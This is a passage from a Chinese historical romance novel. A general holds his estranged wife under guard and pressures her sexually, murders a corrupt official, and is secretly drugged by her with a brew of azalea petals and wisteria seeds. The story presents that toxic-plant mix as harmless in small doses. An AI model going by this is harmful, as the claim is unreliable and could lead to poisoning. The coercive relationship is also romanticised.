简单翻过几件衣衫,折柔寻到装着首饰的小盒子,拉开木屉,看见银镯已被收拢在内,心下微微一松。 陆谌站在一旁,目光起先只是随意扫过,忽然在看清银镯的一瞬凝住。 他自然认得出,那是她丢失已久的生母遗物。 “这是何时寻……” 话未说完,陆谌已然了悟,凉笑一声,额角青筋跳了跳,“谢云舟给你寻回来的?” 停顿片刻,又讥讽道:“也不知费了多少力气。” 折柔抿了抿唇,没有作声,只是从匣中取出银镯,打算戴到自己腕上,随身保管。 却不想被陆谌劈手截了下来,带着薄茧的微糙指腹擦过她柔嫩手背,划起一瞬细微的刺痛。 “这镯子的圈口太松,你戴上也容易弄丢,回头我叫人紧好了再还你。” “妱妱。”陆谌眉心深深蹙起,好半晌,他咬牙匀了一口气,似是在竭力压抑着什么,眼眸中晦暗不明,“谢鸣岐身份不同,远非你所知晓的那般简单,背后牵扯极深,日后如非必要,莫再与他往来。” 听见这话,折柔不由得笑了,抬头看向他,凉凉讽刺道:“陆将军未免多虑,我如今这般情形,又能同谁往来?” 陆谌一瞬顿住。 折柔心中憋闷得不痛快,也不再理会他,低下头整理包袱中的衣物。 陆谌垂眸看了一会儿,眼中神色渐渐变得冷冽,“不论如何,往后都离他远些。他谢鸣岐若是还对你存着不该有的心思,我自然也有法子叫他死心。” 折柔愣了一下,随即意识到什么,猛地抬起头,“你要做什么?” 视线冷不防地相对,看见她眼中的惊惶和隐约怒意,陆谌微眯了眯眼,嗓音一霎寒凉下来,“怎的,你担心他? ” 折柔张了张唇,却一时不知该如何作答。 “妱妱。”陆谌凝视着她,神色平静,黑漆漆的眼中却泛起戾气,“告诉我,你在担心谁?” 眼见他又是一副要发疯的摸样,折柔忍不住蹙起眉心,转头避开他逼视的目光,咬牙道:“我同他没有干系,你我之间的事,莫要牵扯不相干的人。” 似是被她口中“不相干”这几个字取悦,陆谌整个人忽而松散下来,眸色也柔和了几分。 他抬手摸了摸折柔的脸颊,低声道:“昨夜是我犯浑,我不应强迫于你,也不想再强迫你。” 四目相对片刻,陆谌低下头,吻住她的唇瓣,流连片刻,温声道:“但我耐性有限,妱妱,不要逼我,嗯?” 折柔暗自攥紧了掌心,嘴唇微微发颤,鼻间止不住地泛起酸意。 陆谌早已是个成熟的青年了,身形不再像少年般瘦削单薄,又是自幼习武,一身劲韧的薄肌,从前护在她身前,只会让她感到满心说不出的安稳,可如今钳住她的手腕,也同样犹如钢浇铁铸,让她连半分反抗的余地都没有。 折柔闭上眼,说不清的悲哀漫上心头,她又如何想得到,原来有一日,她竟也会对陆谌感到惧怕。 舟船顺风南下,一日便抵淮安。 南衡提早下了船,寻牙人在渡口附近赁下一间不甚起眼的两进小院。 院落占地不阔,正院是一明两暗,没有廊屋,只是寻常百姓的简朴屋舍,但收拾得干净齐整,东南角是一处小小的花圃,旁边的紫藤花架下还置了一张秋千,几簇夏花开得正盛,如胭脂点点,灼灼而放。 景致玲珑精巧,尚算不错,可折柔全然没有心思观赏。 陆谌这一遭南下随行带了十余个亲兵护卫,个个彪悍健壮,俱是陆谌亲手从西军旧部里提拔上来的心腹,同他有沙场浴血过命的交情,只听他一人之命,尤为忠实可靠。 有这些人守着,她至多只能在院中随意走动,根本出不得院门半步。 更为恼人的是,陆谌口中说着到淮安有要事处置,却不见他外出忙碌,反而是整日地守在她身边,与她同寝同食,相伴而眠。 折柔却不愿多做理会,待他也愈发冷淡,两人只有在床笫间会说上几句话。 大抵也是知晓山林那晚做得过了,惹她心中恼恨,故而对他生出抗拒,这几日陆谌倒是收敛了性子,不再强要与她行事,反倒是用足了耐性,只将人搂贴在怀里,轻轻含吮住她的唇瓣,辗转啄吻,又带着点讨好似的,慢慢地安抚着亲吻。 从前两人情浓之时,这般亲密的举动他不是没有做过,却也不曾似近来这般频繁。 直到惹得她呼吸渐乱,陆谌从衣裙中抬起头来,探身过去,寻住她嫣红唇瓣,让她也尝过唇上的那点咸润,温热掌心抚了抚她微微汗湿的面颊,“喜欢么?” 折柔咬紧了唇,偏过头,不去理他。 陆谌却仿佛变得心情极好,整个人都显而易见地松散下来,伸臂将她揽抱在怀里,鼻尖拨去她鬓边沁湿的碎发,在她耳边极低、极轻地闷笑,很得意似的,“妱妱,你明明喜欢。” 月事将将过去六七日,折柔心中最怕的一时不慎会再有身孕,见陆谌能忍着不做过分举动,松开她独自去浴房纾解,她便也不再白费力气挣扎,索性由着他去。 好在陆谌只缠了她几日,很快便忙得不见人影,一连数日都是早出晚归,折柔总算落得清静,自然懒得理会他的行踪,只照常过自己的日子,几乎不再出门,偶尔出去,也不过是去花圃采些鲜花,用来入茶或是合香。 只是不论陆谌回来多晚,都要过来与她同住,安静地更衣上榻,再从后将她捞进怀里,也不做什么,只是相拥而眠,仿佛唯有这般,他才能睡得安稳。 ** 上京,徐府。 徐有容从小厨房取了暮食,打算给父亲送去,刚刚走到书房廊下,就听见里面“砰”地一声,有杯盏砸落到地上。 “我这好表弟还真是有本事,怕不是存心和我过不去!” 李桢愠怒的声音在屋内响起,“当初为了把王仲乾推上这肥缺,费了我多少力气,如今倒好,说折就折,若是处置不干净,还不知要受多少牵连!” 徐崇啜了一口茶,不疾不徐道:“殿下不必忧心,有老臣在,此番罪责必教王仲乾一力担下,断不会牵扯到殿下身上。” “我始终放不下心。”李桢神色渐渐变得阴冷,“不如寻个机会……” 徐崇听出他的意思,出言劝道:“殿下此言差矣,王仲乾活着,一切好说,王仲乾一死,官家心中必生疑虑,反倒麻烦。” “相公能保王仲乾担下罪责,又能保那陆三郎也担下么?只要顺着王仲乾往下一查便是潘兴,那下一个要被皇城司缉拿入狱的可就是陆三郎了,难道他也能一力担责,哪怕受了刑也绝不外泄攀咬么?” 徐崇凝神沉默。 “更不必说他和我那表弟关系匪浅,将来若当真有一日,难保他会帮谁。” “相公既说王仲乾留得,”李桢压低了声音,沉沉看向徐崇:“那陆谌,留不得。” 他声音虽低,徐有容却已然听清最要紧的几个字,站在门外,惶然地睁大了眼。 也顾不得送暮食,她转身提裙奔下石阶,回到房中,匆匆写下一封信,唤来最信得过的女使,反复叮嘱,定要送去禁军衙门温序温郎将手中。 女使点点头,拿了信临要出门,徐有容忍不住又出声叫住,“诶……等等。” 她清楚自家姐夫的性子,就算她爹爹没有答允,只要他生出了这种心思,轻易便不会罢手。 可若是她帮了陆秉言……会对爹爹有妨碍么? 犹豫半晌,徐有容终是把心一横,抬头看向女使,“去罢。快去快回,莫让旁人知晓。” 七月时令,天气多变,前一阵还是晴日朗朗,转眼间乌云团团聚拢,天穹雷声大作,雨如瓢泼。 雨幕如注,淮安转运使司衙门里灯火杳杳,值守的衙役也不知去何处躲懒,四下里只闻雨声浩荡,哗哗作响。 一道人影悄然越墙而入。 夜间雨骤风急,暴雨噼里啪啦地敲打着石阶,槅扇窗忽然间被狂风吹开,潮湿的水汽一瞬急涌而入,不停拍打着窗棂,吱嘎作响。 王仲乾被雨声吵醒,不耐地翻过身来,朝外唤了一声:“人呢?” 四下里静悄悄一片,唯听得窗外雨声大作。 等了片刻,却不见有人应声,王仲乾已有三分恼意,翻身坐了起来。 夜色已深,床帐里黑魆魆的,潮润的水汽飘涌过来,吹动四角垂挂的帐幔。 王仲乾隐约察觉不对,正要起身下榻,突然一道劲风从帐外劈刺而入,冰凉刀刃瞬间抵上喉颈。 他猛然一怔。 “别动。”身前传来一道冷沉的男子声音,“王漕台,别来无恙。” 王仲乾凝目定了定神,少顷,扬声斥问:“来者何人?” 持刀的黑影凉笑一声,“王漕台还真是贵人多忘事。” 窗外忽然一道冷冽的白光闪过,狰狞着撕裂夜色,一霎映亮来人脸庞。 视线相对,王仲乾微微眯了眯眼,电光火石间,猛然认出了眼前的人是谁,不由愕然道:“陆,陆……” 惊雷滚过屋顶。 陆谌手腕用力,刀刃又压下三分,“不错,是我。” 王仲乾顿时惊怒交集,“你这是何意?你要作甚?” 陆谌面无表情地看着他,寒声道:“我有一样东西,需向王漕台讨问。” 王仲乾的眼神一瞬变得警惕,“何物?” 陆谌淡声道:“要一份四年前,徐崇如何指使你煽动谏院,攻讦先太子又攀诬我父的口供,另有一份自打你升任两淮转运使以来,如何勾结徐崇牟利,为其分润赃款的口供。” 王仲乾神色猛地一变:“竖子果然居心叵测!好教你知晓,本官虽被弹劾,但圣旨未下,无人能限本官权柄,两淮之地,本官仍是这个。” 说着,他向上一指,眯眼看向陆谌,咬牙冷笑道:“你有胆子反了天不成?!” 陆谌勾唇笑了笑,“王漕台言重,我也不过是求一自保而已。” “自保?” “不错。王漕台想必知晓,潘兴是经由我手灭的口,我自然脱不得干系,案发牵涉深广,上任两淮转运使又是因何殉职,王漕台心知肚明,毋需我再多言,如今官家震怒,此案必不能轻易了结。我虽甘为相公效力,却也要给自己留条后路。” “你当本官是三岁孩童,如此懵懂好欺么?!” “此案一发,你已是死罪难逃,徐崇是何为人,你心中也当清楚。”陆谌压下刀刃,声音越发冷寒,“留下一份供书,不单能让我饶你多活几日,更是给你孩儿留下一道保命符,这个道理,想来你不会不明白。” 王仲乾咬牙沉默。 犹豫半晌,终于下定决心,走到到案前,提笔落墨。 耐心地待他写完,陆谌仔细扫过一遍供词,勾唇笑了笑,将手书叠好收入竹筒,旋即手腕猛地一转,锋利刀刃毫无迟滞地抹过王仲乾的咽喉。 热血一霎喷薄而出,溅了陆谌大半张脸,窗外白光闪过,衬得他脸色冷冽阴沉如罗刹。 动作只在电光火石之间,王仲乾一刹双目圆睁,只来得及挣出“嗬嗬”几声,人已捂着喉咙向后倒去。 陆谌看也未看,站在一地的腥血中,转手将竹筒交给南衡,神色无比平静:“收好,等这贼厮的死讯传回上京,再将这份手书连同账本,一道送去他娘子手里。” ** 折柔一早便上了榻,却许久没有睡意,直到夜色深浓,窗外雨声渐弱,她这才觉出几分困倦,慢慢阖上眼眸。 忽然一道惊雷滚过,仿佛就在头顶轰然炸响。 折柔猛地惊醒过来,心脏砰砰急跳,快得想要蹦出胸口。 等到心跳终于平复下来,本就不多的睡意已经消散干净,她缓慢地眨了眨眼,动作熟稔地从枕下抽出一个荷包,指尖无意识地描摹过绣线简单的纹路。 这里面装着她近日来从花圃里摘选、晒干的杜鹃花瓣和紫藤籽。 二者相佐,少量服用,不会伤人性命根本,却可以让人四肢麻痹,两炷香内行动迟滞。 陆谌的那些亲卫虽然守她守得紧,却并不懂药理,见她采花摘草,也只以为是她烦闷消闲,这才让她轻易收拢了这些花籽。 虽然这几日陆谌都不曾强求于她,但她太清楚这人的恶劣脾性,如今他是想哄着她软和下来,可再过些时日,等他耐心耗尽,必也做得出用孩子捆住她的禽兽事。 她绝不能久留。 陆谌待她……自然算得上真心,可那又怎样呢?从头至尾,他全然不在乎她的意愿,只是要她蜷伏在他羽翼的荫庇下,依附着他施舍的情爱而活。 妻者,齐也。 这又哪里是夫妻呢? 一想到他的欺瞒,想到他无所顾忌地和旁的女子牵扯不清,想到他罔顾她的意愿,随意逼迫折辱,而她连逃都逃不开……那种无力的崩溃悲愤又如潮水般漫溢上心头,压得她快要喘不过气来。 诸般思绪纷杂错乱,辗转难眠间,忽听窗外传来一阵窸窣声响,折柔心脏猛地一跳,匆忙将荷包放到枕下,正要闭目装睡,忽而直觉异样,忍不住偏过头,向不远处的直棂窗望去一眼。 屋外白光闪过,在窗纸上映出一道人影。 折柔顿觉毛骨悚然,背上寒毛乍起,她攥住被衾,从榻上悄然坐了起来,紧紧地盯着窗外动静。 眼见窗格被人从外撬开了一条缝隙,折柔心口砰砰急跳,正要出声唤护卫,下一瞬,来人却已纵身跃进了屋内,一把拽下面巾,露出一张被雨水打湿的俊脸。 “九娘,别怕,是我。” 第39章 心事(已修) 折柔不由一愣。 她怎么也想不到竟会在这里看见谢云舟。 也不知他在外淋了多久的雨水,衣衫尽皆湿透,墨发间也已经吸饱了水,许是在雨中受了寒,他脸色微有些苍白,越发显得一双眉眼黑亮如点漆。 “鸣岐?你怎么来了?” 折柔心下微惊,也来不及多想,匆匆起身走到窗前,小心地向外环顾一圈,见四下无人,赶忙回身关上支摘窗,扣好木栓。 谢云舟一眨不眨地看着她,眼中的关切紧张丝毫不加掩饰,“九娘,你近来可好?” 折柔鼻尖微微一酸,冲他宽慰地笑了笑,“我没事。” 谢云舟凝眉端量着她的神色,水滴顺着他磊落分明的鬓角不住地滚落,滴滴答答着,很快便在脚下积出一滩水渍,“我来寻你,还是为着船上的那句话,你若不愿再同陆谌和好,我便想法子送你离开,给你另寻一处地方安置下来。” 折柔怔了怔,眼眶隐隐发热。 她虽盘算着暗中离开,却也不知成算几何,正此时有人不计代价地伸以援手,若说毫无触动那是假话,可她也实不想再给旁人添麻烦,尤其是谢云舟,枝枝蔓蔓,同陆谌有着那样千丝万缕的联系。 折柔咬了咬牙,终是轻声道:“鸣岐,陆谌是什么样的性子,想来你比我更清楚。你们兄弟二十余载,情意难得,倘若有一日因我而反目,不值当的。” 不想她会拒绝,谢云舟下颌微微绷紧,喉结轻滚了一滚,眼中神色晦暗不明,“九娘,难道你愿意这般被他拘着,由着他欺负?” 就……那般喜欢他么?伤了心,也不舍得么? 折柔下意识地掐紧手心。 她自然不愿。可她又能如何?要将不相干的人牵扯进来么?更何况他身份这般不同,倘若教陆谌知晓,还不知要闹出什么祸事来。 “鸣岐,这是我与他的事,我自会想法子解决,不想牵扯旁人受累。”折柔抿了抿唇,仍是摇头拒绝,“时辰不早,陆谌很快便要回来,你先回去罢。” 屋内沉寂下来。 夜雨越发急骤,不停敲打着窗棂屋瓦,嘈嘈切切,声音清晰入耳。 谢云舟忽而抬起头,目光直直地看向她,一字一句道:“九娘,我什么心思,你清楚的。” 折柔眼睫微微一抖,低头沉默下来。 “九娘,我亦不瞒你。你的事,于我而言从来都不是麻烦,而是甘之如饴。倘若教我眼睁睁看着你不得快活,那才是牵累。” 折柔张了张唇,喉咙隐有些发哽,“鸣岐……” 不知她是否还要推拒,谢云舟索性打断了她的话,“九娘,你无需担心,陆秉言那头,换做旁人或许应付不来,但我不同。送你离开,这只是我的私心,你不必有任何回应,更什么都不必多想,只等上船之后,一切有我接应。” 折柔心口砰砰急跳起来。 好半晌,她终于点头,轻轻应了一声,“有劳你了。” 谢云舟神色一霎亮起,薄唇抿了抿,低声道:“那我先走了。” “……嗯。” 谢云舟扬唇冲她笑笑,转身走到窗边,单手撑上窗沿,纵身跃出,身形很快消失在浓稠的夜色中。 目送着他离开,折柔回到榻边怔怔出神了半晌,冷静过后,心中半是忐忑半是后悔。 直到听见院中传来一阵熟悉至极的脚步声,她这才猛然回过神来,匆匆躺回到榻上,拉了拉被衾,阖上双眼,假装自己已经入眠。 不出所料,陆谌很快推门入内,老旧的木门发出轻微的咯吱声。 听见陆谌缓缓走近,折柔心脏一阵急跳,暗中深吸一口气,面朝着榻内,竭力地闭眼装睡。 似乎只是过来看她一眼,确认她还好端端地待在房里。 陆谌并没有久留,只是默默地看了她一会儿,便转身退出去,随手轻合屋门,浴房里传来哗哗的水声。 不知过去多久,折柔感觉身边微微一沉,陆谌上了榻,掀开一角被衾,从后将她捞进怀里。 他在浴房草草冲淋过,一身都是潮润的水汽,带着热意贴上了她柔软的身子,喃喃唤了一声,“妱妱。” 折柔闭着眼,没有应声。 不多时,温热的薄唇落在她颈后,轻吻细咬。 她那里素来最是敏感,很快便被他惹得后心阵阵发麻,汗毛直竖。 折柔顿觉不自在,推开他游离在腰间的手,含混道:“莫闹,我困了。” 闻声,陆谌反倒收紧了环抱着她的手臂,挨蹭着她的面颊,硬挺的鼻梁划过纤颈,呼吸炙热沉重,尽数洒在她的颈窝。 也不知他是从何处来的兴致,折柔存着心事,懒得和他应承,正想向前挪动几分,忽然听见陆谌喑哑的声音在昏暗中响起。 “你可知,今夜我去了何处?” 左不过是去忙着搜拢仇家罪证,折柔抿了抿唇,没有理会。 “我杀了王仲乾。” 窗外骤然一道白光闪过,有闷雷在头顶炸响。 他声音很低,语气中带了点轻淡的嘲意,“可惜,死得那般容易,倒是便宜了他。” 折柔愣怔片刻,愕然睁开了眼,好半晌,回头看过去,“他是三品大员……” 陆谌捏起她的下巴,黑眸紧紧地盯住她,试探着端量,“妱妱,你可是担心我惹上麻烦?” 折柔抗拒地蹙起眉心。 “莫怕,我已处置干净。”陆谌低笑一声,翻过她的身子,欺身压下,热烫的薄唇衔住她耳尖,“用不了太久,上京的事便能了结,我带你回洮州。” 两个人挨得太近,清晰地觉察到他起了异样,周身气息大不寻常,折柔脸色微变,忍不住想要朝榻里躲去。 陆谌今夜动了杀性,此刻热血燥涌,正情热纠缠,却忽见身下人一双乌瞳清清亮亮,不染半分情欲,甚至隐有几分不耐。 仿佛被迎头泼下一盆冷水,陆谌霎时僵硬在原地,黑眸沉沉凝望了她半晌,猛地翻身下榻,赤着足大步朝外走去。 这间小院只是暂作落脚,一应器物本就简陋随意,眼下浴房里只有从井中打上来的冷水,倒正是当用。 时隔许久,水声渐渐停下,陆谌推门出来,见折柔已经面朝着床内,酣然熟睡。昏烛杳杳,薄纱垂落,朦胧着映出一段姣美柔婉的曲线,犹如春日海棠,隔雾独卧。 陆谌缓缓走到榻边坐下,看着她恬淡的睡颜,心中竟生出一种难以言喻的无力。 今夜他在外行险搏命,淋了大半夜的冷雨,满心都是杀戾躁郁,可回到小院,见到从支摘窗里透出的一盏暖黄烛火,仿佛有什么缺憾一瞬被填满,他心中忽然便安定下来。 他绝不能没有妱妱。 可如今她明明就在自己身边,却又好像同他隔了千山万水,不再有半分温柔迎合,只剩满身的戒备抗拒。 沉默着坐了半晌,陆谌抬手捋了捋她鬓边的碎发,掀被上榻,无比熟稔地伸臂将人搂贴进怀里,相偎着睡去。 折柔心中存着心事,陆谌又紧挨在身后,热意腾腾难以忽视,她虽勉强入眠,却睡得并不安稳,浑浑沌沌的梦境一个接一个地压过来,混乱破碎。 似是回到了那年北境的战场上,周遭雾茫茫一片,乌泱泱的群鸦自天际飞过,她不知在大漠中穿行了多久,忽然看见陆谌浑身染血,阖目跪在黄沙之中,身上软甲早已破碎,数柄长剑自他心肺贯穿而过,鲜血一滴一滴地淌落下来,在他身下慢慢聚成殷红刺目的一滩小溪。 眼前狠狠一晃,好半晌,她颤颤地循着剑身看去,持剑的人竟是谢云舟。 她愕然失色,张了张口,却发不出一丝声音,再一转头,握剑的人竟又变成了她自己,双手湿黏,沾满了热烫的赤血,甚至看不出原本肌肤颜色。 不知到了什么时辰,屋外疾风骤雨更重,忽然似有滚雷在头顶砰然炸响。 折柔肩膀一抖,猛地惊醒过来,脱口唤了一声:“陆秉言!” “妱妱?”陆谌跟着清醒,探手摸了摸她的脸颊。 折柔还未从噩梦中缓过来,心脏跳得飞快,身上软得没有力气,只得由着陆谌将她半扶起来。下一瞬,有微凉的杯盏抵到唇边,一线温茶润过肺腑,带着淡淡回甘,让她心神稍稍舒缓了些。 “梦见我了?” 听他语气中又带上几分得意,折柔咬紧了唇,半晌,闷声讥讽:“梦见你死了。” 陆谌倒也不恼,反似心情极好,轻吻了吻她发顶,低笑一声,“放心,我死不了。” 喂过茶水,陆谌放她躺好,又安抚地轻拍了拍她后背,柔声低哄:“莫怕,睡罢。” 折柔混混沌沌地躺回到榻上,却还不曾全然回过神,心中止不住地泛起阵阵惊悸。 她对陆谌,虽是有怨亦有恨,却从不曾想过要伤及他的性命,她只盼着能从此各自安好,相忘于江湖,倘若他和谢云舟当真因她而反目,只怕她余生都再也不能安宁。 察觉到她依旧有些僵硬,陆谌一手掌住她的后脑,将她整个人严实地抱在怀里,细碎的轻吻一路落下,从发顶到眉眼,再一点一点流连到唇瓣,轻轻辗转含吮。 没有让她抗拒的侵略气息,只是早已熟稔至极的亲昵缠绵,又带着几分温柔的安抚意味。 那年她孤身到大漠寻他,见多了沙场上惨烈的杀戮血腥,回去很是受了一遭折磨,在那之后一连大半年,她夜夜都会从梦中惊醒,只有他这样安抚相伴,她才能慢慢入睡,安眠到天亮。 两颗心早已经隔阂重重,可如此熟悉的触碰和气息,仍是让她心头微微发颤。 也说不清是何缘由,只是他这般温柔抚慰,反而比从前的强硬逼迫更让她想逃。 折柔本能地想要向后退却,可此处屋舍简陋,床榻逼仄,堪堪容下两个人,她根本无处可躲。 敏锐地察觉到她不同先前的变化,陆谌越发用足了耐性,慢慢亲吻撩拨。 折柔不自觉向后仰起脖颈,难耐地喘息,攥紧了身下被衾,纤细指尖用力到发白。 颊边渐渐沁出热汗,就要被送去那处,偏偏他在此刻停了下来,万分恶劣地吊着她,教她不上不下的难受。 轻喘了两口气,折柔半阖的眼眸微微睁开,眸中隐约泛着湿润。 床帷间光线昏暗,陆谌黑眸幽邃,紧紧地凝望着她,仿佛春深时节在林中伺机狩猎的雄兽,用目光一点一点描摹着她倦懒的模样,好半晌,他低声逼问:“妱妱,想要我么?” 这人真是越发下流无耻,先前种种不过是假象,这般强势恶劣才是他本来面目。 折柔一时间羞愤至极,半分也不肯如他的意,抬手想要推人下去,却被他反攥住了细腕。 “说,要不要我?”带着薄茧的粗粝掌心探进衣摆。 折柔不作声,只觉有细微绵长的酥麻从一端四散着泛开,身上又涨又酸,说不出的空落难受。 “妱妱,要不要我?”陆谌忍得眼中泛红,热汗顺着利落的鬓发滚落下来,仍旧执拗地逼视着她。 折柔如同一条脱了水的鱼儿,在他指下艰难地喘息着,可越是如此,偏偏越是被激出了倔强,她轻喘一口气,紧咬着唇瓣偏过头去。 不像是男女间的鱼水欢爱,倒似一场猎手与猎物间充满耐性的角逐搏斗。 热汗涔涔滚落,陆谌熬不过她的倔狠,终究是败下阵来,伸手扳过她的脸颊,俯身深吻下去。 “陆秉言!” 折柔呜咽出声,恨恨地咬住他肩头,唇齿间霎时弥散开血腥气。 他本就恶劣,有她在身边,自然更加做不得清心寡欲真君子。 青纱帐慢掩得密实,逼仄的床帏间沁出股股热汗,昏昏沉沉间,也不知到了什么光景,屋外雨声变得淅沥,沙沙作响。 折柔乏倦地歇在锦被里。 陆谌收了收手臂,将她紧紧箍进怀中,滚烫的呼吸伴着热汗落在她眉心,“我记着,你阿娘的生忌就在下月,大相国寺里供奉着你爹爹和她的长明灯,你总要回去上炷香。” 停顿片刻,他抬手抹去她鬓边浮汗,“等事情了结,我们再回一趟洮州,小乌的坟差不多该要祭扫……” 陆谌放低了声音,哄着她一般,慢慢说着琐碎平淡却又温馨的日常,亲昵过后,在昏暗又隐秘的床帏间,格外有种蛊惑人心的力量。 折柔却不再沉溺,心底清凌凌一片冰凉,抬起头静静地看着他,“若是重来一回,陆秉言,你仍会这般行事……是不是?” 视线相对,看着她清明澄澈的目光,陆谌心头忽地一紧。 后悔么? 自她离开后,漫漫长夜难眠,他不是没有这般问过自己。 然,后悔无用,他不能后悔,亦不敢后悔。 自从父亲身死,他被扔去流放路上的那一刻起,重回上京、报仇雪恨便已成了他心中执念,无论如何,徐崇必须不得好死,但妱妱他也决不能放手。 她那样柔软,只要将她紧紧拘在身边,亲昵疼哄着,他不信不能有所转圜。 陆谌咬了咬牙,闭目屏息,应道:“不是。妱妱,我不会。” 折柔却听懂了他那一霎的迟疑,不由在黑暗中自嘲地笑了笑,心脏跟着沉沉地坠了下去。 她蜷在被衾里,敷衍地点点头,“那就好。” 听得她这一句,陆谌心神忽地一松,俯身过来,吻了吻她潮热的面颊,贴着她的耳畔低低道:“妱妱,往后同我好好过,再也不许离开。” 折柔闭了闭眼,指尖触到枕下的软布荷包,悄悄攥紧,违心地没有出言反驳。 第40章 药茶 夜雨连绵了整晚,直到清晨方歇,窗外传来鸟雀的叽喳鸣叫。 折柔睡得不深,朦胧中被雀鸟的啾鸣声唤醒,慢慢地睁开了双眼。 天色尚早,周遭床幔掩得密实,只有细细几许微光从缝隙透进来,眼前影影绰绰的一团,什么都看不真切。 许是昨夜疲累太过,身畔的人睡得极沉,微微冒出胡茬的下巴轻抵着她的眉心,气息温热绵长,一阵阵拂过她的面颊。 稍微一动,身上便泛起酸软,折柔回想起昨夜那一场荒唐,陆谌最后虽是收敛了脾性,依着她的意思,并未留在里面,但终究不能让人全然放心,总得服了药才算稳妥。 折柔摸了摸自己平坦的小腹,轻轻推开陆谌圈拢着她的手臂,从榻上坐起身子,随手披了件衣裳,趿上软鞋,走到临窗的桌案前,提笔写下一张药方。 时近八月,已是夏尽秋来的节令,雨后潮润的微风带着丝丝凉意,顺着窗缝钻进来,折柔紧了紧衣襟,拿着写好的药方出门唤人。 南衡一早便已起身,听见主屋的响动,立时从厢房推门出来,见折柔有吩咐,迎上前唤了一声:“娘子。” 折柔冲他笑笑,将手里的纸张递过去,“有劳你,按这方子替我抓几服药回来。” 南衡忙应了一声是,上前接过,又谨慎地追问了一句:“敢问娘子,这是什么方子?抓药可有避忌?” “只是寻常的避子方。你随便寻家药坊医馆,那里的人都能识得。” 听清了她口中那两个要命的字眼,南衡眼睛都瞪直了。这等大事,他如何随意敢应下?可又不敢推拒,顿觉一个头两个大,只能硬着头皮艰涩道:“娘子,此事,此事要问过郎君……” 虽早有此想,折柔心头仍不免隐约生出些怒意,转念又只觉可悲。 明明是自己的身子,可如今在陆谌身边,竟连是否受孕都由不得自己做主,只能求得他的允准。 这算什么呢? 她深吸了一口气,语气有些冷淡下来,“你且先去抓药,陆谌若是不允,便是你取了药回来,我也入不得口,又有何不放心的?” 她待人一向温和爱笑,极少露出这般辞色,南衡不由愣住一瞬,再一想也确是这个道理,便向上行了一礼,拿着药方匆匆朝院外去了。 身后的卧房里,陆谌仍未起身,朦朦胧胧地听到些声响,将醒未醒着,几乎是本能地伸出手,向身畔摸去。 却摸了个空。 心跳一瞬停顿,意识陡然清醒。 陆谌猛地睁眼坐起身来,四下里胡乱扫过一眼,也来不及寻件衣袍,抬手一把扯开了床帐,赤足迈下脚踏,大步朝外寻去。 “妱妱?妱妱?” 不见有人应声,陆谌心头越发焦躁,快步走到门口,正要唤护卫进来,忽然看见折柔正倚在门棂上,望着屋外的枣树愣愣发呆,背影纤瘦单薄,莫名显出几分萧索意味。 陆谌脚下忽地一顿。 他盯着那道背影,沉默地看了好一会儿,这才走到近前,哑声开口,“妱妱。” 折柔回过头。 “在这做什么?小心天凉受寒。”陆谌抬手摸了摸她的脸颊,果然已经被晨风吹得发凉,当即把人打横抱起来,转身往屋里走。 “我叫南衡去抓几服避子药回来。” 陆谌脸色一瞬变得阴沉难看,“昨夜我不曾……” 折柔微微蹙眉,指尖不自觉地蜷起来,“我不放心。” 察觉到她隐约的紧张,陆谌心口忽然牵起一阵说不清的闷疼。 事缓则圆,从前是他情急之下失了理智,她如今还存着心结芥蒂,倘若逼得太急反倒冷了她的心。左右她人就在他身边,将来还有大把的日子,应当慢慢哄得她心甘情愿才好。 可她小产至今不足三月,那等避子凉药用下去难免伤身。 沉默半晌,陆谌低低应了一声,“只用今日这一服,往后还和从前在洮州时一样,配些男子用的丸药,我服便是。” 折柔抿了抿唇,点头应好。 王仲乾虽已被料理干净,但还要等皇城司的人抵达淮安,处置扫尾,伺机将这把火烧到徐崇头上,陆谌暂时不能离淮返京,索性带着折柔闲逛了几日,又领她去夜市瓦子尝小吃、看百戏。 陆谌有心俯就疼哄,折柔也不想在紧要关头让他瞧出什么异样,两人人这般相伴着,匆匆数日过去,竟恍惚有种回到从前、还在洮州恩爱度日的错觉。 转眼便是乘船北上的日子。 折柔将将安顿好行装,门外南衡匆匆赶来,唤了声陆谌,说有密报,“温郎将急信,请郎君务必亲启。” 他眼下人不在上京,诸多动向皆要靠温序给他传信,想来此番也不例外,陆谌一时也未多想,不甚在意接过竹筒,打开。 然而里面卷着的却不是寻常用的白宣。 是一张淡粉色砑花笺。 看清那张信笺的刹那,陆谌猛地愣了一下,旋即下意识转头看向折柔。 折柔自然也已看清那纸张的样式。 千里迢迢送来徐家女的信笺,还要说“急信、亲启”。 这算什么呢?兄弟间的调侃? 虽然已经决意放下,可看到他身边亲信的人这般无所顾忌大喇喇的模样,仍是让她觉得恶心。 只一想,就觉得恶心。 她心头不受控地生出隐怒,半分都不想再看,转身就要出去,陆谌察觉到不对,从后一把拽住她胳膊,“妱妱!” 折柔不耐地蹙起眉尖,“做什么?” 陆谌喉结上下滚了滚,“你听我解释。” 说着,在她的注视下,陆谌当即将那卷纸笺送去烛台上,烧了个干净。 “从前是我的错,对不住你,教你难过,但这封信笺当真同我没有半分干系,我也绝不会看上一眼。” 陆谌紧紧地看着她,端量着她的神色,眸光愈发深沉。 “往后我亦不会再和旁的女子有何往来,一年两年不够,我们还有三年,五年,十年,总能教你看清我有几分真心,妱妱,你再信我一回,成不成?” 折柔没想到他会说这些话。 但一切早已时过境迁,于事无补。 这些时日以来,数不清的因果兜兜转转,交织缠绕到如今,他们之间的恩怨隔阂,早已不复当初那般简单。 折柔喉头微微一哽,垂眸沉默片刻,终是不想另生枝节,便轻轻地点了下头,没再作声。 晚间用过暮食,算算时辰,折柔进到船舱中煎煮熟水。 瞧着红泥小炉上新水已沸,折柔取了些百合,匀入盏中,取水浇注,扣上碗盏。 陆谌倚在一旁,垂眸看着她调弄碗盏,唇角不自觉地微微勾起,似乎只是这般看着,心情就变得极好。 不多时,碗中凝了香雾,折柔从荷包里取出早前晒干杜鹃花瓣和紫藤籽,用沸水冲泡开,再小心地将盏中香雾倾倒进去,煎出一小盏花草熟水,有淡淡的清香逸散。 她捧起小盏品了一口,神色自若地将另外一个小碟推到陆谌面前,“要不要尝尝?” 陆谌自然对她毫不设防,随手端过托盏,浅尝了一口。 入口微苦,回甘发涩,算不得好滋味,但难得她忙活半晌,陆谌勾唇笑笑,很是捧场地饮了个干净。 折柔看着他将熟水饮尽,仰起脸冲他笑笑,“味道如何?” 舱室里烛火昏黄,倒映在她眼底,细碎闪动着,柔柔如一泓春水。 陆谌心头一瞬潮热,忍不住伸手将人扯进怀里,抬起她的下巴,低头吻了下来。 